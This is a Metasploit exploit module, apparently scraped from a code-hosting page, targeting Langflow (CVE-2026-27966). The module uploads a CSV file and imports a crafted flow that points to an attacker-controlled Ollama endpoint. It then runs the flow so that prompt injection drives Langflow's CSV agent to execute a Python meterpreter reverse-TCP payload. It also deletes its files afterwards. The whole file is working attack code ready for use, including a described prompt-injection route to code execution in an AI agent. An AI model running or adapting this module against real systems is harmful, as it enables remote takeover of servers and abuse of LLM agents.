196 lines
6.7 KiB
Ruby
196 lines
6.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Post::File
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Langflow RCE',
|
|
'Description' => %q{
|
|
The CSV Agent node in Langflow hardcodes allow_dangerous_code=True, which automatically exposes LangChain's Python REPL tool (python_repl_ast).
|
|
As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE).
|
|
},
|
|
'Author' => [
|
|
'weblover12', # Vulnerability discovery and PoC
|
|
'Takahiro Yokoyama' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['CVE', '2026-27966'],
|
|
['GHSA', '3645-fxcv-hqr4'],
|
|
],
|
|
'Targets' => [
|
|
[
|
|
'Python payload',
|
|
{
|
|
'Platform' => 'python',
|
|
'Arch' => ARCH_PYTHON,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'WfsDelay' => 150,
|
|
'FETCH_DELETE' => true
|
|
},
|
|
'Payload' => {
|
|
'BadChars' => '"'
|
|
},
|
|
'DisclosureDate' => '2026-02-25',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE, ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION, ]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(7860),
|
|
OptString.new('APIKEY', [ true, 'Langflow API key to interact with Langflow.', '' ]),
|
|
OptString.new('OLLAMAAPIURI', [ true, 'Endpoint of the OLLAMA API controlled by an attacker.', '' ]),
|
|
OptString.new('MODEL', [ true, 'Valid ollama model name.', '' ]),
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'api/v1/version')
|
|
})
|
|
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
|
|
|
|
json_version = res&.get_json_document&.fetch('version', nil)
|
|
return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version
|
|
|
|
version = Rex::Version.new(json_version)
|
|
return Exploit::CheckCode::Unknown('Failed to get version.') unless version
|
|
|
|
return Exploit::CheckCode.Safe("Version #{version} detected. Which is not vulnerable.") if version >= Rex::Version.new('1.8.0')
|
|
|
|
# check if API key is valid
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'api/v1/users/whoami'),
|
|
'headers' => {
|
|
'x-api-key' => datastore['APIKEY']
|
|
}
|
|
})
|
|
return Exploit::CheckCode::Appears("Version #{version} detected and API key is valid. Which is vulnerable.") if res&.code == 200
|
|
|
|
Exploit::CheckCode.Safe("Version #{version} detected and API key is invalid. Which is not vulnerable.")
|
|
end
|
|
|
|
def exploit
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri, 'api/v1/projects/'),
|
|
'method' => 'POST',
|
|
'ctype' => 'application/json',
|
|
'headers' => {
|
|
'x-api-key' => datastore['APIKEY']
|
|
},
|
|
'data' => {
|
|
'name' => rand_text_alphanumeric(8),
|
|
'description' => 'string',
|
|
'components_list' => [],
|
|
'flows_list' => []
|
|
}.to_json
|
|
})
|
|
@folder_id = res&.get_json_document&.fetch('id', nil)
|
|
fail_with(Failure::Unknown, 'Failed to create a new project.') unless @folder_id
|
|
print_status("Project: #{@folder_id}")
|
|
|
|
# construct POST data
|
|
fname = "#{rand_text_alphanumeric(8)}.csv"
|
|
data = Rex::MIME::Message.new
|
|
data.add_part("#{rand_text_alphanumeric(2)},#{rand_text_alphanumeric(2)}", 'application/csv', nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri, 'api/v2/files'),
|
|
'method' => 'POST',
|
|
'headers' => {
|
|
'x-api-key' => datastore['APIKEY']
|
|
},
|
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
|
'data' => data.to_s
|
|
})
|
|
path = res&.get_json_document&.fetch('path')
|
|
fail_with(Failure::Unknown, 'Failed to upload a csv file.') unless path
|
|
@fid = res&.get_json_document&.fetch('id')
|
|
|
|
exploit_data = exploit_data('CVE-2026-27966', 'cve_2026_27966.json')
|
|
exploit_data = exploit_data.gsub('__FOLDERID__', @folder_id)
|
|
exploit_data = exploit_data.gsub('__MODELNAME__', datastore['MODEL'])
|
|
exploit_data = exploit_data.gsub('__OLLAMAAPIURI__', datastore['OLLAMAAPIURI'])
|
|
exploit_data = exploit_data.gsub('__FILEPATH__', path)
|
|
exploit_data = exploit_data.gsub('__PAYLOAD__', payload.encode)
|
|
exploit_data = exploit_data.gsub('__NAME__', rand_text_alphanumeric(8))
|
|
# construct POST data
|
|
data = Rex::MIME::Message.new
|
|
data.add_part(exploit_data, 'application/json', nil, "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"")
|
|
|
|
# Import a flow
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri, 'api/v1/flows/upload/'),
|
|
'method' => 'POST',
|
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
|
'data' => data.to_s,
|
|
'vars_get' => { 'folder_id' => @folder_id },
|
|
'headers' => {
|
|
'x-api-key' => datastore['APIKEY']
|
|
}
|
|
})
|
|
fail_with(Failure::Unknown, 'Temporary failed to import a flow.') unless res&.get_json_document.is_a?(Array)
|
|
flow_id = res&.get_json_document&.first&.fetch('id', nil)
|
|
fail_with(Failure::Unknown, 'Failed to import a flow.') unless flow_id
|
|
print_status("Flow: #{flow_id}")
|
|
|
|
# Execute
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri, "api/v1/build/#{flow_id}/flow"),
|
|
'method' => 'POST',
|
|
'ctype' => 'application/json',
|
|
'headers' => {
|
|
'x-api-key' => datastore['APIKEY']
|
|
}
|
|
})
|
|
job = res&.get_json_document&.fetch('job_id')
|
|
fail_with(Failure::Unknown, 'Unexpected server reply.') unless job
|
|
print_status("Job: #{job}")
|
|
print_status('Waiting...')
|
|
end
|
|
|
|
def cleanup
|
|
super
|
|
if @fid
|
|
send_request_cgi({
|
|
'uri' => normalize_uri(target_uri, "api/v2/files/#{@fid}"),
|
|
'method' => 'DELETE',
|
|
'headers' => {
|
|
'x-api-key' => datastore['APIKEY']
|
|
}
|
|
})
|
|
end
|
|
if @folder_id
|
|
send_request_cgi({
|
|
'uri' => normalize_uri(target_uri, "api/v1/projects/#{@folder_id}"),
|
|
'method' => 'DELETE',
|
|
'headers' => {
|
|
'x-api-key' => datastore['APIKEY']
|
|
}
|
|
})
|
|
end
|
|
end
|
|
|
|
end
|